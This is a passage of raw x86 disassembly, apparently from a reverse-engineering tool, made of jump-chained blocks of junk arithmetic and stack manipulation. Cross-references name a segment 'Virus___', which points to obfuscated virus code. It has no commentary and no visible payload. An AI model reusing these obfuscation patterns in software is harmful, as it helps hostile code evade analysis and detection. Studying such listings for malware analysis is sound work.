		mov	ebp, [esp-18h+arg_12+2]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_543078
; ---------------------------------------------------------------------------


loc_546593:				; CODE XREF: sub_545A2B+3680j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ebp
		jmp	loc_5457AE
; ---------------------------------------------------------------------------


loc_5465AD:				; CODE XREF: sub_545A2B+51AFj
		xor	edx, [esp-14h+arg_E+2]
		xor	[esp-14h+arg_E+2], edx
		xor	edx, [esp-14h+arg_E+2]
		pop	esp
		mov	cx, word ptr [esp-18h+arg_12+2]
		jmp	loc_54A98B
; ---------------------------------------------------------------------------


loc_5465C0:				; CODE XREF: sub_545A2B+16BEj
		pop	esi
		add	eax, ecx
		mov	ecx, [esp-1Ch+arg_16+2]
		add	esp, 4
		push	479Ah
		mov	[esp-1Ch+arg_16+2], ebx
		push	esi
		push	ebp
		mov	ebp, 312F71DBh
		jmp	loc_54E6E5
; ---------------------------------------------------------------------------


loc_5465E0:				; CODE XREF: sub_545A2B+8EC9j
		pop	edx
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		push	ecx
		push	[esp-18h+arg_16+2]
		push	[esp-14h+arg_E+2]
		jmp	loc_54B644
; ---------------------------------------------------------------------------


loc_5465F4:				; CODE XREF: sub_545A2B+7653j
		push	eax
		push	ebp
		jmp	loc_544C7E
; ---------------------------------------------------------------------------


loc_5465FB:				; CODE XREF: sub_545A2B-1CBAj
		add	edx, 4
		jmp	loc_54EDBD
; ---------------------------------------------------------------------------


loc_546606:				; CODE XREF: sub_545A2B+4AADj
		add	ecx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_546448
; ---------------------------------------------------------------------------


loc_546610:				; CODE XREF: sub_545A2B+2CC2j
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], edx
		mov	edx, 48B108C4h
		sub	eax, 1CB76D07h
		sub	eax, edx
		push	edi
		jmp	loc_54D74A
; ---------------------------------------------------------------------------


loc_54662B:				; CODE XREF: sub_545A2B+60FDj
		mov	ebp, 3D360F60h
		or	edx, ebp
		pop	ebp
		add	edx, 0FFFFFFFFh
		shr	edx, 1
		push	esi
		mov	esi, 25755237h
		xor	edx, esi
		pop	esi
		sub	eax, edx
		mov	edx, [esp-40h+arg_3A+2]
		add	esp, 4
		sub	eax, 3B17F54h
		add	eax, ebx
		push	3822h
		mov	[esp-40h+arg_3A+2], ecx
		mov	ecx, 3B17F54h
		add	eax, 2A407914h
		add	eax, ecx
		jmp	loc_548A37
; ---------------------------------------------------------------------------


loc_54666C:				; CODE XREF: sub_545A2B+5915j
		add	[esp-40h+arg_3A+2], 4
		pop	esi
		push	ebp
		push	396A5C7Dh
		pop	ebp
		not	ebp
		push	edi
		mov	edi, 19F61EAEh
		and	ebp, edi
		pop	edi
		not	ebp
		sub	ebp, 1D917F98h
		jmp	loc_54A47A
; ---------------------------------------------------------------------------


loc_546690:				; CODE XREF: sub_545A2B+23CCj
		add	dl, ch
		jmp	loc_5431E4
; ---------------------------------------------------------------------------


loc_546697:				; CODE XREF: sub_545A2B+3674j
		push	961h
		mov	[esp-3Ch+arg_36+2], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-3Ch+arg_36+2]
		mov	esp, [esp-3Ch+arg_36+2]
		mov	[esp-3Ch+arg_36+2], eax
		push	ebx
		mov	ebx, 7C23316Bh
		push	ebp
		mov	ebp, 61BD34A2h
		push	edi
		jmp	loc_547EE2
; ---------------------------------------------------------------------------


loc_5466C5:				; CODE XREF: sub_545A2B-223Aj
		add	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ah
		xor	eax, ecx
		push	37BFh
		mov	[esp-22h+arg_1E], eax
		xchg	ecx, [esp-22h+arg_1E]
		push	177Dh
		jmp	loc_54A331
; ---------------------------------------------------------------------------


loc_5466E5:				; CODE XREF: sub_545A2B+1E5Ej
		mov	esi, 576607Ah
		push	ecx
		push	edi
		mov	edi, 1BAF0865h
		xor	edi, 1CB754CCh
		mov	ecx, edi
		jmp	loc_54AA88
; ---------------------------------------------------------------------------


loc_5466FE:				; CODE XREF: sub_545A2B+6F4Cj
		pop	esp
		sub	esp, 4
		mov	[esp-16h+arg_12], edx
		sub	esp, 4
		mov	[esp-12h+arg_E], ebx
		push	edx
		mov	edx, 0D6E0460h
		inc	edx
		neg	edx
		dec	edx
		or	edx, 44D1793Bh
		inc	edx
		add	edx, 76B1610Dh
		mov	ebx, edx
		pop	edx
		push	787h
		mov	[esp-0Eh+arg_A], esi
		push	ebp
		mov	ebp, 40AB02C8h
		mov	esi, 88DE2806h
		sub	esi, ebp
		mov	ebp, [esp-0Ah+arg_4+2]
		add	esp, 4
		shl	esi, 7
		shl	esi, 8
		jmp	loc_54AA60
; ---------------------------------------------------------------------------


loc_54674E:				; CODE XREF: sub_545A2B-1582j
		add	esp, 4
		xchg	ecx, [esp-1Eh+arg_1A]
		pop	esp
		mov	[esp-22h+arg_1E], ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546760:				; CODE XREF: sub_545A2B+4A36j
		or	edi, 21815E55h
		sub	edi, 144F4D95h
		xor	ebx, edi
		jmp	loc_54ECE3
; ---------------------------------------------------------------------------


loc_546773:				; CODE XREF: sub_545A2B+3BB9j
		shl	esi, 7
		xor	esi, 0B663D784h
		add	ecx, esi
		jmp	loc_54D474
; ---------------------------------------------------------------------------


loc_546783:				; CODE XREF: sub_545A2B+23F2j
		add	[esp-22h+arg_1E], 4AB2698h
		mov	edx, [esp-22h+arg_1E]
		add	esp, 4
		sub	edx, 4AB2698h
		mov	esi, [esp-26h+arg_22]
		add	esp, 4
		jmp	loc_543F84
; ---------------------------------------------------------------------------


loc_5467A4:				; CODE XREF: sub_545A2B-6BEj
		push	small 40ABh
		mov	word ptr [esp-4Ah+arg_46], ax
		sub	esp, 4
		jmp	loc_54E37C
; ---------------------------------------------------------------------------


loc_5467B7:				; CODE XREF: sub_54C95E-75E8j
		pop	si
		jmp	loc_54E9AE
; ---------------------------------------------------------------------------


loc_5467BE:				; CODE XREF: sub_545A2B-14DFj
		mov	ebp, 74167E8Ah
		jmp	loc_54EA6B
; ---------------------------------------------------------------------------


loc_5467C8:				; CODE XREF: sub_545A2B+56FFj
		push	ecx
		mov	ch, 0EFh
		mov	al, 69h
		xor	al, ch
		pop	ecx
		add	bl, 40h
		add	bl, al
		sub	bl, 40h
		pop	ax
		jmp	loc_54D7CE
; ---------------------------------------------------------------------------


loc_5467DF:				; CODE XREF: Virus___:00544B2Aj
		dec	eax
		shl	eax, 8
		sub	eax, 0FFFFFFFFh
		add	eax, 7C930F03h
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	ecx
		jmp	loc_5472E2
; ---------------------------------------------------------------------------


loc_5467F9:				; CODE XREF: sub_545A2B+962j
		add	eax, ecx
		push	ecx
		mov	ecx, 1A1A241Eh
		or	ecx, 7E035FCAh
		jmp	loc_54ED54
; ---------------------------------------------------------------------------


loc_54680C:				; DATA XREF: Virus___:00542CE4o
		push	small word ptr [edx]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546814:				; CODE XREF: sub_545A2B-1A37j
		mov	esi, 6CFF22B6h
		sub	[esp-3Ch+arg_3E+2], 1EC152D9h
		sub	[esp-3Ch+arg_3E+2], esi
		add	[esp-3Ch+arg_3E+2], 1EC152D9h
		pop	esi
		sub	[esp-40h+arg_3E+2], ecx
		add	[esp-40h+arg_3E+2], 6CFF22B6h
		mov	ecx, [esp-40h+arg_3A+2]
		add	esp, 4
		add	[esp-44h+arg_3E+2], eax
		jmp	loc_54EBDD
; ---------------------------------------------------------------------------


loc_54684B:				; CODE XREF: sub_545A2B+1273j
		mov	ebx, edi
		mov	eax, ebx
		pop	ebx
		pop	edi
		neg	eax
		jmp	loc_5471A3
; ---------------------------------------------------------------------------


loc_546858:				; CODE XREF: sub_545A2B+90CFj
		push	[esp-4Ch+arg_4C]
		jmp	loc_544803
; ---------------------------------------------------------------------------


loc_546861:				; CODE XREF: sub_545A2B-11C4j
		shr	ah, 7
		sub	ah, 0BDh
		sub	ah, 69h
		xor	ah, 0F0h
		mov	bl, ah
		jmp	loc_54DB7D
; ---------------------------------------------------------------------------


loc_546874:				; CODE XREF: sub_545A2B-2120j
		add	edi, 4
		xchg	edi, [esp-3Ah+arg_36]
		jmp	loc_547699
; ---------------------------------------------------------------------------


loc_54687F:				; CODE XREF: sub_545A2B+5A1Fj
		push	3A045C3Dh
		pop	esi
		xor	[esp-3Ah+arg_3A], esi
		mov	esi, [esp-3Ah+arg_36]
		add	esp, 4
		mov	edi, [esp-3Eh+arg_3A]
		add	esp, 4
		xor	edi, 3A045C3Dh
		mov	eax, [esp-42h+arg_3E]
		add	esp, 4
		xor	[esp-46h+arg_46], edi
		mov	edi, [esp-46h+arg_42]
		add	esp, 4
		pop	eax
		jmp	loc_549543
; ---------------------------------------------------------------------------


loc_5468B1:				; CODE XREF: sub_545A2B+6CBBj
		pop	dword ptr [esp+0]
		mov	esp, [esp-52h+arg_4C+2]
		jmp	loc_5469F9
; ---------------------------------------------------------------------------


loc_5468BC:				; CODE XREF: sub_545A2B+4ADBj
		xchg	esi, [esp-52h+arg_4C+2]
		jmp	loc_547BE1
; ---------------------------------------------------------------------------


loc_5468C4:				; CODE XREF: sub_545A2B+7FEBj
		and	eax, 53355D20h
		add	eax, 738F3665h
		xor	eax, 0D2D6CA9Fh
		sub	edi, eax
		pop	eax
		xor	eax, edi
		mov	edi, [esp-56h+arg_50+2]
		add	esp, 4
		jmp	loc_545662
; ---------------------------------------------------------------------------


loc_5468E6:				; CODE XREF: sub_545A2B+253Aj
		mov	edx, 82402783h
		jmp	loc_5472B5
; ---------------------------------------------------------------------------


loc_5468F0:				; DATA XREF: Virus___:00542E98o
		mov	eax, [esp-5Ah+arg_54+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54AD66
; ---------------------------------------------------------------------------


loc_546901:				; CODE XREF: sub_545A2B+9C4j
		mov	eax, 0B403440h
		jmp	loc_545AAF
; ---------------------------------------------------------------------------


loc_54690B:				; CODE XREF: sub_545A2B+3E0Cj
		inc	ebp
		dec	ebp
		add	ebp, 841CE15Fh
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp-44h+arg_3E+2]
		pop	esp
		jmp	loc_54E4D9
; ---------------------------------------------------------------------------


loc_546925:				; CODE XREF: sub_545A2B+79A0j
		xor	esi, [esp-48h+arg_42+2]
		xor	[esp-48h+arg_42+2], esi
		xor	esi, [esp-48h+arg_42+2]
		pop	esp
		push	edi
		jmp	loc_545C28
; ---------------------------------------------------------------------------


loc_546935:				; CODE XREF: sub_545A2B+6655j
		or	edx, 16A81387h
		sub	edx, 0EFE630Bh
		add	edx, 2CF52824h
		mov	edi, edx
		jmp	loc_54EBA9
; ---------------------------------------------------------------------------


loc_54694E:				; CODE XREF: sub_545A2B+26DAj
		mov	esp, [esp-48h+arg_42+2]
		mov	ax, word ptr [esp-48h+arg_42+2]
		push	5116h
		mov	[esp-44h+arg_3E+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		push	edi
		mov	edi, 2
		mov	ebx, edi
		push	[esp-3Ch+arg_36+2]
		pop	edi
		jmp	loc_5485DC
; ---------------------------------------------------------------------------


loc_546977:				; CODE XREF: Virus___:0054E4F1j
		xor	esi, 74BB39D9h
		shl	esi, 8
		sub	esp, 4
		mov	[esp-38h+arg_32+2], ebx
		push	edx
		mov	edx, 35351BC3h
		not	edx
		neg	edx
		push	edi
		mov	edi, 97553FFh
		xor	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		jmp	loc_5482EB
; ---------------------------------------------------------------------------


loc_5469A1:				; CODE XREF: sub_545A2B+2F12j
		sub	esp, 4
		mov	[esp-34h+arg_2E+2], ecx
		jmp	loc_54EF14
; ---------------------------------------------------------------------------


loc_5469AF:				; CODE XREF: sub_545A2B+805j
		sub	edi, 74385C06h
		add	edi, edx
		add	edi, 74385C06h
		pop	edx
		xor	edi, 5F113996h
		xor	edi, 0DF7C21B3h
		jmp	loc_54B5E2
; ---------------------------------------------------------------------------


loc_5469CF:				; CODE XREF: sub_545A2B+5B60j
		add	ch, 7Fh
		push	edx
		push	ecx
		push	0BFDh
		mov	[esp-20h+arg_1A+2], ebx
		mov	bl, 0F8h
		shl	bl, 1
		shr	bl, 2
		jmp	loc_54AF24
; ---------------------------------------------------------------------------


loc_5469E8:				; CODE XREF: sub_545A2B+46D2j
		add	esp, 4
		push	esi
		mov	esi, 90603A7h
		shl	esi, 8
		jmp	loc_54BE1C
; ---------------------------------------------------------------------------


loc_5469F9:				; CODE XREF: sub_545A2B+E8Cj
		mov	ax, word ptr [esp-52h+arg_4C+2]
		push	esi
		jmp	loc_54E4F6
; ---------------------------------------------------------------------------


loc_546A03:				; DATA XREF: Virus___:00542D38o
		mov	cx, [esp+0]
		push	ebp
		jmp	loc_548806
; ---------------------------------------------------------------------------


loc_546A0D:				; CODE XREF: sub_545A2B+444Fj
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_549299
; ---------------------------------------------------------------------------


loc_546A20:				; CODE XREF: sub_545A2B-88Dj
		xor	eax, 246958E0h
		jmp	loc_54CF15
; ---------------------------------------------------------------------------


loc_546A2A:				; CODE XREF: sub_545A2B+91C0j
		push	2F7Bh
		mov	[esp-44h+arg_3E+2], edx
		push	ebp
		push	52C6h
		mov	[esp-3Ch+arg_36+2], ebx
		jmp	loc_545223
; ---------------------------------------------------------------------------


loc_546A40:				; CODE XREF: sub_545A2B+24A7j
		shl	cl, 7
		xor	cl, 0D0h
		mov	dh, cl
		pop	ecx
		sub	esp, 4
		mov	[esp-3Ch+arg_36+2], eax
		jmp	loc_543D43
; ---------------------------------------------------------------------------


loc_546A57:				; CODE XREF: sub_545A2B+121Aj
		pop	esi
		add	ebx, 4C6035B8h
		sub	ebx, 4A8138F4h
		push	0CC6h
		jmp	loc_54DE76
; ---------------------------------------------------------------------------


loc_546A6E:				; CODE XREF: sub_545A2B+2808j
		mov	bl, 9
		push	bx
		jmp	loc_54F36F
; ---------------------------------------------------------------------------


loc_546A77:				; CODE XREF: sub_545A2B+7756j
		xor	[esp-3Ah+arg_36], ecx
		xor	ecx, [esp-3Ah+arg_36]
		jmp	loc_543D65
; ---------------------------------------------------------------------------


loc_546A82:				; CODE XREF: sub_545A2B+440Ej
		add	edx, 1
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		add	edx, 286C5D78h
		xor	edx, 7C240C2Fh
		dec	edx
		add	edx, 0A5EEC9DCh
		mov	ebx, edx
		push	[esp-3Ah+arg_36]
		pop	edx
		add	esp, 4
		and	eax, ebx
		push	[esp-3Eh+arg_3A]
		jmp	loc_54C997
; ---------------------------------------------------------------------------


loc_546AB1:				; CODE XREF: sub_54F099-B766j
		add	esi, 2964B40h
		pop	ebx
		shr	esi, 4
		jmp	loc_54CA58
; ---------------------------------------------------------------------------


loc_546AC0:				; CODE XREF: sub_545A2B+80D1j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-3Eh+arg_3A]
		pop	esp
		xor	edi, [esp-42h+arg_3E]
		xor	[esp-42h+arg_3E], edi
		xor	edi, [esp-42h+arg_3E]
		mov	esp, [esp-42h+arg_3E]
		jmp	loc_54EF42
; ---------------------------------------------------------------------------


loc_546AE1:				; CODE XREF: sub_545A2B+68BAj
		sar	word ptr [esp-42h+arg_3E], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546AEB:				; CODE XREF: sub_54D5C0+13j
		add	edi, 2B824740h
		xor	edi, 4D247043h
		jmp	loc_54D186
; ---------------------------------------------------------------------------


loc_546AFC:				; CODE XREF: sub_545A2B+1EA9j
		sub	eax, 3C3C3981h
		add	eax, 1CA60728h
		add	eax, 721C157Fh
		mov	ebx, [esp-3Eh+arg_3A]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 0F3B5940h
		xor	edi, 645B3E82h
		add	edi, 578C567Ch
		sub	edi, 6F6048AAh
		jmp	loc_54E828
; ---------------------------------------------------------------------------


loc_546B34:				; CODE XREF: sub_545A2B+691Cj
		add	esi, 162D4D2Eh
		pop	edx
		jmp	loc_54C53E
; ---------------------------------------------------------------------------


loc_546B40:				; CODE XREF: sub_545A2B+5003j
		add	esi, edi
		jmp	loc_54A6C9
; ---------------------------------------------------------------------------


loc_546B47:				; CODE XREF: sub_545A2B-15AFj
		mov	[esp-16h+arg_12], ebx
		jmp	loc_545F50
; ---------------------------------------------------------------------------


loc_546B4F:				; CODE XREF: Virus___:005451DCj
		add	eax, ebx
		push	ebp
		mov	ebp, 111B0DC5h
		push	ecx
		jmp	sub_54EF28
; ---------------------------------------------------------------------------


loc_546B5D:				; CODE XREF: sub_545A2B+3315j
		sub	edi, 653C8F4h
		push	edi
		pop	ecx
		pop	edi
		sub	eax, ecx
		jmp	loc_546028
; ---------------------------------------------------------------------------
		push	[esp-12h+arg_E]
		pop	ecx
		jmp	loc_547236
; ---------------------------------------------------------------------------


loc_546B76:				; CODE XREF: sub_545A2B+99D2j
		push	ecx
		mov	ecx, 38291CBCh
		xor	ecx, 37BE7999h
		push	eax
		push	ebp
		jmp	loc_54DFB6
; ---------------------------------------------------------------------------


loc_546B89:				; CODE XREF: sub_545A2B+2C75j
		push	ebp
		mov	ebp, 25521091h
		and	ebp, 6F2E25B7h
		push	ecx
		mov	ecx, 7F0293Fh
		sub	esp, 4
		mov	[esp+6+var_8+2], eax
		mov	eax, 987FB031h
		sub	ecx, 49F0063Eh
		add	ecx, 44503D6Ch
		sub	ecx, eax
		sub	ecx, 44503D6Ch
		add	ecx, 49F0063Eh
		pop	eax
		add	ebp, ecx
		pop	ecx
		sub	ebp, 9472799Bh
		jmp	loc_54D4FA
; ---------------------------------------------------------------------------


loc_546BD2:				; CODE XREF: sub_545A2B+740j
		pop	ebp
		xchg	ecx, [esp-22h+arg_1E]
		mov	esp, [esp-22h+arg_1E]
		jmp	loc_54B139
; ---------------------------------------------------------------------------


loc_546BDE:				; CODE XREF: sub_545A2B-FD9j
		sub	bl, 52h
		add	bl, 0D3h
		push	eax
		mov	ah, 68h
		neg	ah
		sub	ah, 0B1h
		jmp	loc_54C46D
; ---------------------------------------------------------------------------


loc_546BF1:				; CODE XREF: sub_545A2B+4D81j
		pop	ecx
		push	dword ptr [edx]
		add	[esp-58h+arg_54], 298B6E85h
		pop	ecx
		sub	ecx, 298B6E85h
		mov	edx, [esp-5Ch+arg_58]
		add	esp, 4
		jmp	loc_549C13
; ---------------------------------------------------------------------------


loc_546C0D:				; CODE XREF: sub_545A2B-E2Aj
		add	edi, ecx
		jmp	loc_54E618
; ---------------------------------------------------------------------------


loc_546C14:				; CODE XREF: sub_545A2B+5CE8j
		push	ebx
		push	eax
		push	291A010Ch
		jmp	loc_548D45
; ---------------------------------------------------------------------------


loc_546C20:				; CODE XREF: sub_545A2B+87DFj
		add	ebx, esi
		sub	ebx, 71CB02C3h
		pop	esi
		sub	ebx, 68BE49CEh
		sub	ebx, eax
		add	ebx, 68BE49CEh
		push	esi
		mov	esi, 39804021h
		sub	esi, 0F08E275Fh
		sub	ebx, esi
		jmp	loc_546A57
; ---------------------------------------------------------------------------


loc_546C4A:				; CODE XREF: sub_545A2B+161j
		mov	edx, 3FD60E81h
		jmp	loc_54C455
; ---------------------------------------------------------------------------


loc_546C54:				; CODE XREF: sub_545A2B-1E24j
		add	eax, 4
		xchg	eax, [esp-2Eh+arg_2A]
		pop	esp
		push	ebp
		push	esp
		mov	ebp, [esp-2Ah+arg_26]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_544197
; ---------------------------------------------------------------------------


loc_546C72:				; CODE XREF: Virus___:0054F311j
		xchg	edi, [esp-26h+arg_22]
		pop	esp
		mov	[esp-2Ah+arg_26], edi
		mov	edi, esp
		push	ebx
		jmp	loc_54718B
; ---------------------------------------------------------------------------


loc_546C81:				; CODE XREF: sub_545A2B+60EBj
		mov	dh, bl
		jmp	loc_5470EE
; ---------------------------------------------------------------------------


loc_546C88:				; CODE XREF: sub_545A2B+6B02j
		mov	esi, esp
		push	ecx
		push	ebp
		mov	ebp, 3C3F7B78h
		jmp	loc_5449A1
; ---------------------------------------------------------------------------


loc_546C96:				; CODE XREF: sub_545A2B+3D0Ej
		push	4B11h
		mov	[esp-1Ah+arg_16], ebx
		jmp	loc_54684B
; ---------------------------------------------------------------------------


loc_546CA3:				; CODE XREF: sub_545A2B+520j
		xor	cl, dh
		mov	edx, [esp-1Eh+arg_1A]
		add	esp, 4
		jmp	loc_54A46D
; ---------------------------------------------------------------------------


loc_546CB3:				; CODE XREF: Virus___:00543178j
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_549462
; ---------------------------------------------------------------------------


loc_546CC0:				; CODE XREF: sub_545A2B+3BD6j
		add	esi, 42C33B88h
		mov	edx, [esp-1Eh+arg_1A]
		add	esp, 4
		push	eax
		mov	eax, 2
		sub	esi, 0E136D40h
		jmp	loc_5473BD
; ---------------------------------------------------------------------------


loc_546CDD:				; CODE XREF: sub_545A2B+5DDBj
		mov	[esp-1Eh+arg_1A], esi
		mov	esi, 0D64205C0h
		xor	edx, esi
		pop	esi
		sub	[edi+24h], edx
		push	[esp-22h+arg_1E]
		jmp	loc_54BF97
; ---------------------------------------------------------------------------


loc_546CF3:				; CODE XREF: sub_545A2B+56Dj
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_547F08
; ---------------------------------------------------------------------------


loc_546D02:				; CODE XREF: sub_545A2B+240Dj
		mov	[esp-20h+arg_1A+2], esi
		push	esp
		jmp	loc_54D826
; ---------------------------------------------------------------------------


loc_546D0B:				; CODE XREF: sub_545A2B+87FBj
		mov	bl, 0EBh
		sub	dh, 8Fh
		sub	dh, bl
		jmp	loc_544CF5
; ---------------------------------------------------------------------------


loc_546D17:				; CODE XREF: sub_545A2B+649Cj
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54C4F6
; ---------------------------------------------------------------------------


loc_546D26:				; CODE XREF: sub_545A2B-4EAj
		mov	ecx, 2FBB425Fh
		inc	ecx
		add	ecx, 232067AEh
		push	esi
		mov	esi, 66370A0Bh
		jmp	loc_54D2C4
; ---------------------------------------------------------------------------


loc_546D3D:				; CODE XREF: sub_545A2B+3466j
		mov	word ptr [esp-32h+arg_2E], sp
		jmp	loc_5479FA
; ---------------------------------------------------------------------------


loc_546D46:				; CODE XREF: sub_545A2B+4D23j
		push	ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 19521E78h
		mov	edi, 19521E7Ch
		xor	edi, eax
		pop	eax
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp-2Eh+arg_2A]
		pop	esp
		jmp	loc_54D883
; ---------------------------------------------------------------------------


loc_546D6A:				; CODE XREF: sub_54EDB2+6j
		mov	[esp-32h+arg_2E], esi
		push	ecx
		mov	ecx, 6AE07639h
		jmp	loc_543B22
; ---------------------------------------------------------------------------


loc_546D78:				; CODE XREF: sub_545A2B+1D83j
		mov	cx, word ptr [esp-2Eh+arg_2A]
		jmp	loc_54C161
; ---------------------------------------------------------------------------


loc_546D81:				; CODE XREF: sub_545A2B+1A35j
		mov	edx, [esp-2Eh+arg_2A]
		add	esp, 4
		sub	edx, 4E2F3589h
		push	ecx
		mov	ecx, 59F13A03h
		add	ecx, 43E30E0Dh
		inc	ecx
		sub	ecx, 44FF3332h
		jmp	loc_54A709
; ---------------------------------------------------------------------------


loc_546DA5:				; CODE XREF: sub_545A2B-16FCj
		mov	ebp, 3A54AAh
		sub	ebp, 0FFFFFFFFh
		shr	ebp, 6
		add	ebp, 0F787778h
		jmp	loc_54E839
; ---------------------------------------------------------------------------


loc_546DBB:				; CODE XREF: sub_545A2B+21FCj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546DC0:				; CODE XREF: sub_545A2B-2591j
		mov	edx, [esp-34h+arg_2E+2]
		add	esp, 4
		push	10CCh
		mov	[esp-34h+arg_2E+2], edx
		mov	edx, 4
		jmp	loc_54C2BE
; ---------------------------------------------------------------------------


loc_546DD8:				; CODE XREF: sub_545A2B+2503j
		sub	eax, edx
		pop	edx
		add	eax, 6AD54940h
		add	eax, 29D7C639h
		jmp	loc_5456F7
; ---------------------------------------------------------------------------


loc_546DEA:				; CODE XREF: sub_545A2B+1727j
		add	esp, 4
		push	ebp
		mov	ebp, 4DFF64B9h
		jmp	loc_54CA09
; ---------------------------------------------------------------------------


loc_546DFB:				; CODE XREF: sub_545A2B+2D56j
		or	eax, eax
		jz	loc_548B43
		push	dword ptr [edi+28h]
		push	ebx
		mov	ebx, 212169FEh
		sub	[esp-30h+arg_2E+2], ebx
		pop	ebx
		mov	eax, [esp-34h+arg_2E+2]
		add	esp, 4
		push	esi
		mov	esi, 26B75257h
		and	esi, 0CFB43D3h
		neg	esi
		sub	esi, 1
		push	14B0h
		jmp	loc_544AC7
; ---------------------------------------------------------------------------


loc_546E32:				; CODE XREF: sub_545A2B+8220j
		mov	ebx, [esp-30h+arg_2A+2]
		jmp	loc_548755
; ---------------------------------------------------------------------------


loc_546E3A:				; CODE XREF: sub_545A2B+48Cj
		push	esp
		jmp	loc_54D776
; ---------------------------------------------------------------------------


loc_546E40:				; CODE XREF: sub_545A2B+461j
		sub	esi, 0A913EFCCh
		mov	edi, esi
		pop	esi
		xor	edi, 63F82274h
		xor	edi, 39F71663h
		push	ebp
		mov	ebp, 53360444h
		dec	ebp
		push	eax
		push	ecx
		mov	ecx, 7487691Bh
		jmp	loc_54BC06
; ---------------------------------------------------------------------------


loc_546E68:				; CODE XREF: sub_545A2B+2E4Dj
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	24B9h
		mov	[esp+0Ah+var_C+2], edx
		mov	edx, 2
		add	edi, edx
		jmp	loc_54DB42
; ---------------------------------------------------------------------------


loc_546E85:				; CODE XREF: sub_545A2B+1F45j
		not	ebx
		add	ebx, 5EB84D64h
		jmp	loc_54F123
; ---------------------------------------------------------------------------


loc_546E92:				; DATA XREF: Virus___:00542E78o
		push	dword ptr [edi+2Ch]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546E9A:				; CODE XREF: sub_545A2B-296Aj
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_54C25F
; ---------------------------------------------------------------------------


loc_546EA2:				; CODE XREF: sub_545A2B+23F8j
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		jmp	loc_545614
; ---------------------------------------------------------------------------


loc_546EC5:				; CODE XREF: sub_545A2B+4268j
		sub	ebx, 77B07004h
		add	ebx, ecx
		add	ebx, 77B07004h
		mov	ecx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_549AC9
; ---------------------------------------------------------------------------


loc_546EE1:				; DATA XREF: Virus___:00542E00o
		lodsb
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], edx
		push	ebx
		mov	bl, 0EBh
		push	ecx
		mov	ch, bl
		mov	dh, ch
		pop	ecx
		pop	ebx
		and	dh, 4Bh
		jmp	loc_54EC45
; ---------------------------------------------------------------------------


loc_546EFA:				; CODE XREF: sub_54E769+6j
		mov	[esp-0Ah+arg_4+2], esi
		mov	esi, 4
		jmp	loc_5475E6
; ---------------------------------------------------------------------------


loc_546F07:				; CODE XREF: sub_545A2B-1AE3j
		or	ecx, 28840192h
		or	ecx, 69222335h
		xor	ecx, 4A026835h
		push	ebx
		jmp	loc_547FDE
; ---------------------------------------------------------------------------


loc_546F1F:				; CODE XREF: sub_545A2B+790j
		push	eax
		mov	eax, esp
		jmp	loc_548086
; ---------------------------------------------------------------------------


loc_546F27:				; CODE XREF: Virus___:005430E6j
		sub	edx, 7982481Eh
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp-28h+arg_22+2]
		jmp	loc_54CE21
; ---------------------------------------------------------------------------


loc_546F3B:				; CODE XREF: sub_545A2B+487Cj
		add	esp, 4
		pop	[esp-2Ch+arg_26+2]
		mov	esp, [esp-30h+arg_2A+2]
		shl	[esp-30h+arg_2A+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_546F50:				; CODE XREF: sub_545A2B+876Cj
		mov	eax, 1205D32h
		jmp	loc_54989B
; ---------------------------------------------------------------------------


loc_546F5A:				; CODE XREF: Virus___:00545638j
		push	edx
		jmp	loc_54D696
; ---------------------------------------------------------------------------


loc_546F60:				; CODE XREF: sub_545A2B+86DBj
		mov	ebp, 59164F57h
		dec	ebp
		inc	ebp
		jmp	loc_548484
; ---------------------------------------------------------------------------


loc_546F6C:				; CODE XREF: sub_545A2B-1C23j
		neg	edi
		add	edi, 0A5C1F08h
		add	edi, 3666006Ch
		mov	eax, edi
		pop	edi
		sub	ecx, eax
		pop	eax
		sub	edx, ecx
		jmp	loc_549A46
; ---------------------------------------------------------------------------


loc_546F87:				; CODE XREF: sub_545A2B+86A7j
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp-54h+arg_50]
		add	esp, 4
		xchg	ebp, [esp-58h+arg_54]
		jmp	loc_543452
; ---------------------------------------------------------------------------


